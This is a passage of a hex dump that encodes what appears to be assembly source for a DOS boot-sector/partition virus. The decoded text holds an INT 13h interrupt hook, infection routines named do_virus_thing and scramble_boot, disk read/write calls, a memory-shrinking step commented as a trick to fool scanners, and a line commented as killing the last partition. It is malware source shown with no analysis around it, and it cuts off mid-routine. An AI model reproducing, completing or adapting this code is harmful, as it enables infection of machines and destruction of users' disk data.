|00001040| 6c 6c 20 20 20 20 73 65 | 74 5f 73 69 20 20 20 20 |ll    se|t_si    |
|00001050| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 68 |        |      ;h|
|00001060| 61 76 65 6e 27 74 20 66 | 69 67 75 72 65 64 20 74 |aven't f|igured t|
|00001070| 68 69 73 20 6f 75 74 20 | 79 65 74 0a 0a 20 20 20 |his out |yet..   |
|00001080| 20 20 20 20 20 63 61 6c | 6c 20 20 20 20 64 6f 5f |     cal|l    do_|
|00001090| 76 69 72 75 73 5f 74 68 | 69 6e 67 0a 0a 20 20 20 |virus_th|ing..   |
|000010a0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 63 6c 2c |     mov|     cl,|
|000010b0| 20 33 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | 3.     |   mov  |
|000010c0| 20 20 20 64 78 2c 20 38 | 30 68 0a 20 20 20 20 20 |   dx, 8|0h.     |
|000010d0| 20 20 20 63 61 6c 6c 20 | 20 20 20 72 65 61 64 5f |   call |   read_|
|000010e0| 64 72 69 76 65 0a 20 20 | 20 20 20 20 20 20 63 61 |drive.  |      ca|
|000010f0| 6c 6c 20 20 20 20 73 63 | 72 61 6d 62 6c 65 5f 62 |ll    sc|ramble_b|
|00001100| 6f 6f 74 0a 20 20 20 20 | 20 20 20 20 72 65 74 66 |oot.    |    retf|
|00001110| 0a 0a 69 6e 74 5f 31 33 | 68 5f 68 61 6e 64 6c 65 |..int_13|h_handle|
|00001120| 72 3a 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |r:.     |   push |
|00001130| 20 20 20 64 73 0a 20 20 | 20 20 20 20 20 20 70 75 |   ds.  |      pu|
|00001140| 73 68 20 20 20 20 73 69 | 0a 20 20 20 20 20 20 20 |sh    si|.       |
|00001150| 20 70 75 73 68 20 20 20 | 20 64 69 0a 20 20 20 20 | push   | di.    |
|00001160| 20 20 20 20 70 75 73 68 | 20 20 20 20 61 78 0a 20 |    push|    ax. |
|00001170| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 63 |       p|ush    c|
|00001180| 78 0a 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |x.      |  push  |
|00001190| 20 20 64 78 0a 20 20 20 | 20 20 20 20 20 63 61 6c |  dx.   |     cal|
|000011a0| 6c 20 20 20 20 73 65 74 | 5f 73 69 0a 20 20 20 20 |l    set|_si.    |
|000011b0| 20 20 20 20 63 6d 70 20 | 20 20 20 20 61 68 2c 20 |    cmp |    ah, |
|000011c0| 32 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |2       |        |
|000011d0| 20 20 20 20 3b 72 65 61 | 64 20 6f 70 65 72 61 74 |    ;rea|d operat|
|000011e0| 69 6f 6e 3f 0a 20 20 20 | 20 20 20 20 20 6a 6e 7a |ion?.   |     jnz|
|000011f0| 20 20 20 20 20 6e 6f 74 | 5f 74 77 6f 0a 20 20 20 |     not|_two.   |
|00001200| 20 20 20 20 20 70 75 73 | 68 20 20 20 20 64 78 0a |     pus|h    dx.|
|00001210| 20 20 20 20 20 20 20 20 | 73 75 62 20 20 20 20 20 |        |sub     |
|00001220| 61 78 2c 20 61 78 0a 20 | 20 20 20 20 20 20 20 69 |ax, ax. |       i|
|00001230| 6e 74 20 20 20 20 20 31 | 61 68 0a 20 20 20 20 20 |nt     1|ah.     |
|00001240| 20 20 20 63 6d 70 20 20 | 20 20 20 64 6c 2c 20 34 |   cmp  |   dl, 4|
|00001250| 30 68 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |0h.     |   pop  |
|00001260| 20 20 20 64 78 0a 20 20 | 20 20 20 20 20 20 6a 6e |   dx.  |      jn|
|00001270| 62 20 20 20 20 20 6e 6f | 74 5f 74 77 6f 0a 20 20 |b     no|t_two.  |
|00001280| 20 20 20 20 20 20 63 61 | 6c 6c 20 20 20 20 64 6f |      ca|ll    do|
|00001290| 5f 76 69 72 75 73 5f 74 | 68 69 6e 67 20 20 20 20 |_virus_t|hing    |
|000012a0| 20 20 20 20 20 20 3b 77 | 72 69 74 65 20 61 20 76 |      ;w|rite a v|
|000012b0| 69 72 75 73 20 74 6f 20 | 74 68 65 20 64 72 69 76 |irus to |the driv|
|000012c0| 65 20 6f 72 20 64 69 73 | 6b 0a 0a 6e 6f 74 5f 74 |e or dis|k..not_t|
|000012d0| 77 6f 3a 0a 20 20 20 20 | 20 20 20 20 70 6f 70 20 |wo:.    |    pop |
|000012e0| 20 20 20 20 64 78 0a 20 | 20 20 20 20 20 20 20 70 |    dx. |       p|
|000012f0| 6f 70 20 20 20 20 20 63 | 78 0a 20 20 20 20 20 20 |op     c|x.      |
|00001300| 20 20 70 6f 70 20 20 20 | 20 20 61 78 0a 20 20 20 |  pop   |  ax.   |
|00001310| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 64 69 0a |     pop|     di.|
|00001320| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 |        |push    |
|00001330| 64 78 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |dx.     |   push |
|00001340| 20 20 20 63 78 0a 20 20 | 20 20 20 20 20 20 70 75 |   cx.  |      pu|
|00001350| 73 68 20 20 20 20 61 78 | 0a 20 20 20 20 20 20 20 |sh    ax|.       |
|00001360| 20 63 6d 70 20 20 20 20 | 20 63 78 2c 20 33 0a 20 | cmp    | cx, 3. |
|00001370| 20 20 20 20 20 20 20 6a | 6e 62 20 20 20 20 20 6e |       j|nb     n|
|00001380| 6f 74 5f 74 68 72 65 65 | 0a 20 20 20 20 20 20 20 |ot_three|.       |
|00001390| 20 63 6d 70 20 20 20 20 | 20 64 68 2c 20 5b 73 69 | cmp    | dh, [si|
|000013a0| 5d 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |]       |        |
|000013b0| 20 3b 63 68 65 63 6b 20 | 66 6f 72 20 72 65 61 64 | ;check |for read|
|000013c0| 2f 77 72 69 74 65 20 74 | 6f 20 76 69 72 75 73 20 |/write t|o virus |
|000013d0| 73 65 63 74 6f 72 0a 20 | 20 20 20 20 20 20 20 6a |sector. |       j|
|000013e0| 6e 7a 20 20 20 20 20 6e | 6f 74 5f 74 68 72 65 65 |nz     n|ot_three|
|000013f0| 0a 20 20 20 20 20 20 20 | 20 63 6d 70 20 20 20 20 |.       | cmp    |
|00001400| 20 61 68 2c 20 32 0a 20 | 20 20 20 20 20 20 20 6a | ah, 2. |       j|
|00001410| 7a 20 20 20 20 20 20 63 | 61 6c 6c 5f 69 6e 74 31 |z      c|all_int1|
|00001420| 33 68 0a 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |3h.     |   cmp  |
|00001430| 20 20 20 61 68 2c 20 33 | 0a 20 20 20 20 20 20 20 |   ah, 3|.       |
|00001440| 20 6a 6e 7a 20 20 20 20 | 20 6e 6f 74 5f 74 68 72 | jnz    | not_thr|
|00001450| 65 65 0a 20 20 20 20 20 | 20 20 20 63 6d 70 20 20 |ee.     |   cmp  |
|00001460| 20 20 20 64 6c 2c 20 38 | 30 68 0a 20 20 20 20 20 |   dl, 8|0h.     |
|00001470| 20 20 20 6a 62 20 20 20 | 20 20 20 6e 6f 74 5f 74 |   jb   |   not_t|
|00001480| 68 72 65 65 0a 20 20 20 | 20 20 20 20 20 73 75 62 |hree.   |     sub|
|00001490| 20 20 20 20 20 61 68 2c | 20 61 68 0a 20 20 20 20 |     ah,| ah.    |
|000014a0| 20 20 20 20 6a 6d 70 20 | 20 73 68 6f 72 74 20 20 |    jmp | short  |
|000014b0| 20 6e 6f 74 5f 74 68 72 | 65 65 0a 0a 0a 63 61 6c | not_thr|ee...cal|
|000014c0| 6c 5f 69 6e 74 31 33 68 | 3a 20 20 20 20 0a 20 20 |l_int13h|:    .  |
|000014d0| 20 20 20 20 20 20 63 61 | 6c 6c 20 20 20 20 69 6e |      ca|ll    in|
|000014e0| 74 5f 31 33 68 5f 63 61 | 6c 6c 0a 20 20 20 20 20 |t_13h_ca|ll.     |
|000014f0| 20 20 20 6a 62 20 20 20 | 20 20 20 65 6e 64 5f 68 |   jb   |   end_h|
|00001500| 61 6e 64 6c 65 72 20 20 | 20 20 0a 20 20 20 20 20 |andler  |  .     |
|00001510| 20 20 20 63 61 6c 6c 20 | 20 20 20 63 68 65 63 6b |   call |   check|
|00001520| 5f 64 61 74 61 31 0a 20 | 20 20 20 20 20 20 20 6a |_data1. |       j|
|00001530| 7a 20 20 20 20 20 20 70 | 6f 69 6e 74 5f 74 77 6f |z      p|oint_two|
|00001540| 20 20 20 20 20 20 0a 20 | 20 20 20 20 20 20 20 63 |      . |       c|
|00001550| 61 6c 6c 20 20 20 20 63 | 68 65 63 6b 5f 64 61 74 |all    c|heck_dat|
|00001560| 61 32 0a 20 20 20 20 20 | 20 20 20 6a 7a 20 20 20 |a2.     |   jz   |
|00001570| 20 20 20 70 6f 69 6e 74 | 5f 74 77 6f 0a 20 20 20 |   point|_two.   |
|00001580| 20 20 20 20 20 63 6c 63 | 0a 20 20 20 20 20 20 20 |     clc|.       |
|00001590| 20 6a 6d 70 20 20 73 68 | 6f 72 74 20 20 20 65 6e | jmp  sh|ort   en|
|000015a0| 64 5f 68 61 6e 64 6c 65 | 72 0a 0a 70 6f 69 6e 74 |d_handle|r..point|
|000015b0| 5f 74 77 6f 3a 0a 20 20 | 20 20 20 20 20 20 63 61 |_two:.  |      ca|
|000015c0| 6c 6c 20 20 20 20 73 65 | 74 5f 72 65 61 6c 5f 70 |ll    se|t_real_p|
|000015d0| 61 72 74 69 74 69 6f 6e | 0a 20 20 20 20 20 20 20 |artition|.       |
|000015e0| 20 6d 6f 76 20 20 20 20 | 20 64 68 2c 20 5b 73 69 | mov    | dh, [si|
|000015f0| 20 2b 20 31 5d 0a 20 20 | 20 20 20 20 20 20 70 6f | + 1].  |      po|
|00001600| 70 20 20 20 20 20 61 78 | 0a 20 20 20 20 20 20 20 |p     ax|.       |
|00001610| 20 63 61 6c 6c 20 20 20 | 20 69 6e 74 5f 31 33 68 | call   | int_13h|
|00001620| 5f 63 61 6c 6c 0a 20 20 | 20 20 20 20 20 20 63 61 |_call.  |      ca|
|00001630| 6c 6c 20 20 20 20 73 63 | 72 61 6d 62 6c 65 5f 62 |ll    sc|ramble_b|
|00001640| 6f 6f 74 0a 20 20 20 20 | 20 20 20 20 70 6f 70 20 |oot.    |    pop |
|00001650| 20 20 20 20 63 78 0a 20 | 20 20 20 20 20 20 20 70 |    cx. |       p|
|00001660| 6f 70 20 20 20 20 20 64 | 78 0a 20 20 20 20 20 20 |op     d|x.      |
|00001670| 20 20 6a 6d 70 20 20 73 | 68 6f 72 74 20 20 20 65 |  jmp  s|hort   e|
|00001680| 6e 64 5f 68 65 72 65 0a | 6e 6f 74 5f 74 68 72 65 |nd_here.|not_thre|
|00001690| 65 3a 0a 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |e:.     |   call |
|000016a0| 20 20 20 69 6e 74 5f 31 | 33 68 5f 63 61 6c 6c 0a |   int_1|3h_call.|
|000016b0| 65 6e 64 5f 68 61 6e 64 | 6c 65 72 3a 0a 20 20 20 |end_hand|ler:.   |
|000016c0| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 64 73 0a |     pop|     ds.|
|000016d0| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 |        |pop     |
|000016e0| 64 73 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |ds.     |   pop  |
|000016f0| 20 20 20 64 73 0a 65 6e | 64 5f 68 65 72 65 3a 0a |   ds.en|d_here:.|
|00001700| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 |        |pop     |
|00001710| 73 69 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |si.     |   pop  |
|00001720| 20 20 20 64 73 0a 20 20 | 20 20 20 20 20 20 72 65 |   ds.  |      re|
|00001730| 74 66 20 20 20 20 32 0a | 0a 64 61 74 61 5f 61 72 |tf    2.|.data_ar|
|00001740| 65 61 20 20 20 20 20 20 | 20 64 62 20 20 20 20 20 |ea      | db     |
|00001750| 20 30 2c 20 31 2c 20 31 | 2c 20 30 2c 20 30 2c 20 | 0, 1, 1|, 0, 0, |
|00001760| 30 2c 20 30 2c 20 38 30 | 68 2c 20 31 2c 20 30 2c |0, 0, 80|h, 1, 0,|
|00001770| 20 35 2c 20 39 2c 20 30 | 62 68 2c 20 33 2c 20 35 | 5, 9, 0|bh, 3, 5|
|00001780| 2c 20 30 65 68 2c 20 30 | 65 68 0a 0a 72 65 61 64 |, 0eh, 0|eh..read|
|00001790| 5f 64 72 69 76 65 3a 0a | 20 20 20 20 20 20 20 20 |_drive:.|        |
|000017a0| 6d 6f 76 20 20 20 20 20 | 61 78 2c 20 30 32 30 31 |mov     |ax, 0201|
|000017b0| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h       |        |
|000017c0| 3b 72 65 61 64 20 31 20 | 73 65 63 74 6f 72 0a 69 |;read 1 |sector.i|
|000017d0| 6e 74 5f 31 33 68 5f 63 | 61 6c 6c 3a 0a 20 20 20 |nt_13h_c|all:.   |
|000017e0| 20 20 20 20 20 70 75 73 | 68 66 20 20 20 20 20 20 |     pus|hf      |
|000017f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001800| 20 20 20 20 20 3b 73 69 | 6d 75 6c 61 74 65 20 49 |     ;si|mulate I|
|00001810| 4e 54 0a 20 20 20 20 20 | 20 20 20 64 62 20 20 20 |NT.     |   db   |
|00001820| 20 20 20 32 65 68 2c 20 | 30 66 66 68 2c 20 30 31 |   2eh, |0ffh, 01|
|00001830| 65 68 2c 20 30 66 63 68 | 2c 20 31 20 3b 63 73 3a |eh, 0fch|, 1 ;cs:|
|00001840| 63 61 6c 6c 20 66 61 72 | 20 5b 30 31 66 63 68 5d |call far| [01fch]|
|00001850| 0a 20 20 20 20 20 20 20 | 20 72 65 74 20 20 20 20 |.       | ret    |
|00001860| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001870| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001880| 20 20 20 20 20 20 20 20 | 20 20 20 20 0a 0a 73 68 |        |    ..sh|
|00001890| 72 69 6e 6b 5f 6d 65 6d | 3a 0a 20 20 20 20 20 20 |rink_mem|:.      |
|000018a0| 20 20 64 65 63 20 20 20 | 20 20 61 78 20 20 20 20 |  dec   |  ax    |
|000018b0| 20 20 20 20 20 20 20 20 | 20 20 3b 63 6f 6e 74 61 |        |  ;conta|
|000018c0| 69 6e 73 20 6d 65 6d 20 | 66 72 6f 6d 20 69 6e 74 |ins mem |from int|
|000018d0| 20 31 32 68 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 | 12h.   |     mov|
|000018e0| 20 20 20 20 20 64 69 2c | 20 34 31 34 68 0a 20 20 |     di,| 414h.  |
|000018f0| 20 20 20 20 20 20 64 65 | 63 20 20 20 20 20 64 69 |      de|c     di|
|00001900| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 74 |        |      ;t|
|00001910| 68 69 73 20 68 61 73 20 | 67 6f 74 20 74 6f 20 62 |his has |got to b|
|00001920| 65 20 61 20 22 66 6f 6f | 6c 20 74 68 65 20 73 63 |e a "foo|l the sc|
|00001930| 61 6e 6e 65 72 22 20 74 | 72 69 63 6b 0a 20 20 20 |anner" t|rick.   |
|00001940| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 5b 64 69 |     mov|     [di|
|00001950| 5d 2c 20 61 78 20 20 20 | 20 20 20 20 20 3b 73 68 |], ax   |     ;sh|
|00001960| 72 69 6e 6b 20 73 79 73 | 20 6d 65 20 62 79 20 31 |rink sys| me by 1|
|00001970| 20 4b 0a 73 65 74 5f 65 | 73 3a 0a 20 20 20 20 20 | K.set_e|s:.     |
|00001980| 20 20 20 6d 6f 76 20 20 | 20 20 20 63 6c 2c 20 36 |   mov  |   cl, 6|
|00001990| 0a 20 20 20 20 20 20 20 | 20 73 68 6c 20 20 20 20 |.       | shl    |
|000019a0| 20 61 78 2c 20 63 6c 20 | 20 20 20 20 20 20 20 20 | ax, cl |        |
|000019b0| 20 3b 67 65 74 20 74 6f | 70 20 6f 66 20 62 61 73 | ;get to|p of bas|
|000019c0| 65 20 6d 65 6d 20 69 6e | 20 73 65 67 73 0a 20 20 |e mem in| segs.  |
|000019d0| 20 20 20 20 20 20 61 64 | 64 20 20 20 20 20 61 6c |      ad|d     al|
|000019e0| 2c 20 32 30 68 20 20 20 | 20 20 20 20 20 20 3b 61 |, 20h   |      ;a|
|000019f0| 64 64 20 61 20 6c 69 74 | 74 6c 65 20 6d 6f 72 65 |dd a lit|tle more|
|00001a00| 20 74 6f 20 62 65 20 73 | 61 66 65 0a 20 20 20 20 | to be s|afe.    |
|00001a10| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 65 73 2c 20 |    mov |    es, |
|00001a20| 61 78 20 20 20 20 20 20 | 20 20 20 20 3b 61 6e 64 |ax      |    ;and|
|00001a30| 20 73 65 74 20 65 73 2e | 20 54 68 69 73 20 77 69 | set es.| This wi|
|00001a40| 6c 6c 20 62 65 20 61 62 | 6f 75 74 20 39 66 65 30 |ll be ab|out 9fe0|
|00001a50| 68 20 6f 72 20 73 6f 0a | 20 20 20 20 20 20 20 20 |h or so.|        |
|00001a60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001a70| 20 20 20 20 20 20 20 20 | 3b 69 66 20 66 75 6c 6c |        |;if full|
|00001a80| 20 36 34 30 4b 20 6d 65 | 6d 0a 20 20 20 20 20 20 | 640K me|m.      |
|00001a90| 20 20 72 65 74 0a 0a 77 | 72 69 74 65 5f 64 72 69 |  ret..w|rite_dri|
|00001aa0| 76 65 3a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ve:     |        |
|00001ab0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001ac0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001ad0| 20 20 20 20 20 20 20 0a | 20 20 20 20 20 20 20 20 |       .|        |
|00001ae0| 6d 6f 76 20 20 20 20 20 | 64 68 2c 20 5b 73 69 5d |mov     |dh, [si]|
|00001af0| 20 20 20 20 20 20 20 20 | 3b 6f 6e 20 66 69 72 73 |        |;on firs|
|00001b00| 74 20 69 6e 66 65 63 74 | 69 6f 6e 20 73 69 20 3d |t infect|ion si =|
|00001b10| 3d 20 30 20 2d 20 68 65 | 61 64 20 30 0a 20 20 20 |= 0 - he|ad 0.   |
|00001b20| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 78 2c |     mov|     ax,|
|00001b30| 20 30 33 30 31 68 20 20 | 20 20 20 20 20 3b 77 72 | 0301h  |     ;wr|
|00001b40| 69 74 65 20 6f 6e 65 20 | 73 65 63 74 6f 72 0a 20 |ite one |sector. |
|00001b50| 20 20 20 20 20 20 20 63 | 61 6c 6c 20 20 20 20 69 |       c|all    i|
|00001b60| 6e 74 5f 31 33 68 5f 63 | 61 6c 6c 20 20 20 20 3b |nt_13h_c|all    ;|
|00001b70| 61 6e 64 20 64 6f 20 69 | 74 0a 0a 20 20 20 20 20 |and do i|t..     |
|00001b80| 20 20 20 72 65 74 0a 0a | 64 6f 5f 76 69 72 75 73 |   ret..|do_virus|
|00001b90| 5f 74 68 69 6e 67 3a 0a | 20 20 20 20 20 20 20 20 |_thing:.|        |
|00001ba0| 73 75 62 20 20 20 20 20 | 63 78 2c 20 63 78 0a 20 |sub     |cx, cx. |
|00001bb0| 20 20 20 20 20 20 20 69 | 6e 63 20 20 20 20 20 63 |       i|nc     c|
|00001bc0| 78 0a 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |x.      |  push  |
|00001bd0| 20 20 63 78 20 20 20 20 | 20 20 20 20 20 20 20 20 |  cx    |        |
|00001be0| 20 20 20 20 20 20 20 20 | 20 20 3b 67 6f 64 2c 20 |        |  ;god, |
|00001bf0| 6d 6f 76 20 63 78 2c 20 | 31 0a 20 20 20 20 20 20 |mov cx, |1.      |
|00001c00| 20 20 6d 6f 76 20 20 20 | 20 20 64 68 2c 20 5b 73 |  mov   |  dh, [s|
|00001c10| 69 5d 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |i]      |        |
|00001c20| 20 20 3b 6c 6f 63 61 74 | 69 6f 6e 20 6f 66 20 73 |  ;locat|ion of s|
|00001c30| 65 63 74 6f 72 0a 20 20 | 20 20 20 20 20 20 63 61 |ector.  |      ca|
|00001c40| 6c 6c 20 20 20 20 72 65 | 61 64 5f 64 72 69 76 65 |ll    re|ad_drive|
|00001c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 72 |        |      ;r|
|00001c60| 65 61 64 20 69 6e 20 6f | 6e 65 20 73 65 63 74 6f |ead in o|ne secto|
|00001c70| 72 2c 20 74 68 69 73 20 | 77 69 6c 6c 20 62 65 20 |r, this |will be |
|00001c80| 70 61 72 74 69 74 69 6f | 6e 0a 20 20 20 20 20 20 |partitio|n.      |
|00001c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001ca0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00001cb0| 20 20 3b 6f 6e 20 66 69 | 72 73 74 20 69 6e 66 65 |  ;on fi|rst infe|
|00001cc0| 63 74 69 6f 6e 0a 20 20 | 20 20 20 20 20 20 6a 62 |ction.  |      jb|
|00001cd0| 20 20 20 20 20 20 65 6e | 64 5f 64 6f 5f 76 69 72 |      en|d_do_vir|
|00001ce0| 75 73 5f 74 68 69 6e 67 | 20 20 20 20 20 20 3b 65 |us_thing|      ;e|
|00001cf0| 72 72 6f 72 3f 20 6c 65 | 74 73 20 61 62 6f 72 74 |rror? le|ts abort|
|00001d00| 0a 0a 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 |..      |  call  |
|00001d10| 20 20 63 68 65 63 6b 5f | 64 61 74 61 31 20 20 20 |  check_|data1   |
|00001d20| 20 20 20 20 20 20 20 20 | 20 20 3b 64 6f 20 77 65 |        |  ;do we|
|00001d30| 20 68 61 76 65 20 39 32 | 31 39 68 20 73 65 63 74 | have 92|19h sect|
|00001d40| 6f 72 73 20 69 6e 20 6c | 61 73 74 20 70 61 72 74 |ors in l|ast part|
|00001d50| 69 74 69 6f 6e 3f 20 0a | 20 20 20 20 20 20 20 20 |ition? .|        |
|00001d60| 6a 7a 20 20 20 20 20 20 | 65 6e 64 5f 64 6f 5f 76 |jz      |end_do_v|
|00001d70| 69 72 75 73 5f 74 68 69 | 6e 67 20 20 20 20 20 20 |irus_thi|ng      |
|00001d80| 3b 69 66 20 73 6f 2c 20 | 67 65 74 20 6f 75 74 20 |;if so, |get out |
|00001d90| 6f 66 20 74 6f 77 6e 20 | 20 20 20 20 20 20 20 20 |of town |        |
|00001da0| 20 20 20 20 20 20 20 0a | 20 20 20 20 20 20 20 20 |       .|        |
|00001db0| 0a 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 20 20 |.       | call   |
|00001dc0| 20 63 68 65 63 6b 5f 64 | 61 74 61 32 0a 20 20 20 | check_d|ata2.   |
|00001dd0| 20 20 20 20 20 6a 6e 7a | 20 20 20 20 20 6e 65 78 |     jnz|     nex|
|00001de0| 74 5f 76 69 72 75 73 5f | 70 74 0a 0a 20 20 20 20 |t_virus_|pt..    |
|00001df0| 20 20 20 20 63 6d 70 20 | 20 20 20 20 77 6f 72 64 |    cmp |    word|
|00001e00| 20 70 74 72 20 65 73 3a | 5b 62 78 20 2b 20 31 66 | ptr es:|[bx + 1f|
|00001e10| 61 68 5d 2c 20 30 20 3b | 20 30 20 73 65 63 74 6f |ah], 0 ;| 0 secto|
|00001e20| 72 73 20 69 6e 20 6c 61 | 73 74 20 70 61 72 74 69 |rs in la|st parti|
|00001e30| 74 69 6f 6e 3f 0a 20 20 | 20 20 20 20 20 20 6a 7a |tion?.  |      jz|
|00001e40| 20 20 20 20 20 20 65 6e | 64 5f 64 6f 5f 76 69 72 |      en|d_do_vir|
|00001e50| 75 73 5f 74 68 69 6e 67 | 20 20 20 20 20 20 20 20 |us_thing|        |
|00001e60| 20 3b 20 71 75 69 74 20 | 20 20 20 20 0a 20 20 20 | ; quit |    .   |
|00001e70| 20 20 20 20 20 0a 20 20 | 20 20 20 20 20 20 6d 6f |     .  |      mo|
|00001e80| 76 20 20 20 20 20 77 6f | 72 64 20 70 74 72 20 65 |v     wo|rd ptr e|
|00001e90| 73 3a 5b 62 78 20 2b 20 | 31 66 61 68 5d 2c 20 30 |s:[bx + |1fah], 0|
|00001ea0| 20 3b 74 68 69 73 20 77 | 69 6c 6c 20 6b 69 6c 6c | ;this w|ill kill|
|00001eb0| 20 6c 61 73 74 20 70 61 | 72 74 69 74 69 6f 6e 0a | last pa|rtition.|
|00001ec0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|00001ed0| 63 6c 2c 20 31 20 20 20 | 20 20 20 20 20 20 20 20 |cl, 1   |        |
|00001ee0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 73 65 63 74 |        |   ;sect|
|00001ef0| 6f 72 20 31 3f 0a 0a 20 | 20 20 20 20 20 20 20 63 |or 1?.. |       c|
|00001f00| 61 6c 6c 20 20 20 20 77 | 72 69 74 65 5f 64 72 69 |all    w|rite_dri|
|00001f10| 76 65 0a 20 20 20 20 20 | 20 20 20 6a 62 20 20 20 |ve.     |   jb   |
|00001f20| 20 20 20 65 6e 64 5f 64 | 6f 5f 76 69 72 75 73 5f |   end_d|o_virus_|
|00001f30| 74 68 69 6e 67 20 20 20 | 20 20 20 20 20 20 20 20 |thing   |        |
|00001f40| 20 3b 65 72 72 6f 72 20 | 61 62 6f 72 74 20 20 0a | ;error |abort  .|
|00001f50| 20 20 20 20 20 20 20 20 | 69 6e 63 20 20 20 20 20 |        |inc     |
|00001f60| 63 78 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |cx      |        |
|00001f70| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 73 65 63 |        |    ;sec|
|00001f80| 74 6f 72 20 32 3f 0a 20 | 20 20 20 20 20 20 20 6d |tor 2?. |       m|
|00001f90| 6f 76 20 20 20 20 20 64 | 68 2c 20 5b 73 69 20 2b |ov     d|h, [si +|
|00001fa0| 20 32 5d 0a 20 20 20 20 | 20 20 20 20 0a 20 20 20 | 2].    |    .   |
|00001fb0| 20 20 20 20 20 63 61 6c | 6c 20 20 20 20 72 65 61 |     cal|l    rea|
|00001fc0| 64 5f 64 72 69 76 65 20 | 20 20 20 20 20 20 20 20 |d_drive |        |
|00001fd0| 20 20 20 20 20 20 20 20 | 20 3b 67 65 74 20 74 68 |        | ;get th|
|00001fe0| 65 20 62 6f 6f 74 20 73 | 65 63 74 6f 72 0a 20 20 |e boot s|ector.  |
|00001ff0| 20 20 20 20 20 20 6a 62 | 20 20 20 20 20 20 65 6e |      jb|      en|
|00002000| 64 5f 64 6f 5f 76 69 72 | 75 73 5f 74 68 69 6e 67 |d_do_vir|us_thing|
|00002010| 0a 0a 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |..      |  pop   |
|00002020| 20 20 61 78 20 20 20 20 | 20 20 20 20 20 20 20 20 |  ax    |        |
|00002030| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 73 |        |      ;s|
|00002040| 68 6f 75 6c 64 20 3d 3d | 20 31 20 20 20 20 0a 20 |hould ==| 1    . |
|00002050| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 20 20 63 |       p|ush    c|
|00002060| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x       |        |
|00002070| 20 20 20 20 20 20 20 20 | 20 20 20 0a 0a 6e 65 78 |        |   ..nex|
|00002080| 74 5f 76 69 72 75 73 5f | 70 74 3a 0a 0a 20 20 20 |t_virus_|pt:..   |
|00002090| 20 20 20 20 20 63 61 6c | 6c 20 20 20 20 73 65 74 |     cal|l    set|
|000020a0| 5f 72 65 61 6c 5f 70 61 | 72 74 69 74 69 6f 6e 0a |_real_pa|rtition.|
|000020b0| 20 20 20 20 20 20 20 20 | 63 61 6c 6c 20 20 20 20 |        |call    |
|000020c0| 73 63 72 61 6d 62 6c 65 | 5f 62 6f 6f 74 0a 0a 20 |scramble|_boot.. |
|000020d0| 20 20 20 20 20 20 20 69 | 6e 63 20 20 20 20 20 73 |       i|nc     s|
|000020e0| 69 0a 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 |i.      |  call  |
|000020f0| 20 20 77 72 69 74 65 5f | 64 72 69 76 65 0a 0a 20 |  write_|drive.. |
|00002100| 20 20 20 20 20 20 20 64 | 65 63 20 20 20 20 20 73 |       d|ec     s|
|00002110| 69 0a 20 20 20 20 20 20 | 20 20 6a 62 20 20 20 20 |i.      |  jb    |
|00002120| 20 20 65 6e 64 5f 64 6f | 5f 76 69 72 75 73 5f 74 |  end_do|_virus_t|
|00002130| 68 69 6e 67 0a 0a 20 20 | 20 20 20 20 20 20 63 61 |hing..  |      ca|
|00002140| 6c 6c 20 20 20 20 73 63 | 72 61 6d 62 6c 65 5f 62 |ll    sc|ramble_b|
|00002150| 6f 6f 74 0a 0a 20 20 20 | 20 20 20 20 20 70 75 73 |oot..   |     pus|
|00002160| 68 20 20 20 20 63 78 0a | 20 20 20 20 20 20 20 20 |h    cx.|        |
|00002170| 63 61 6c 6c 20 20 20 20 | 6d 6f 76 5f 76 69 72 75 |call    |mov_viru|
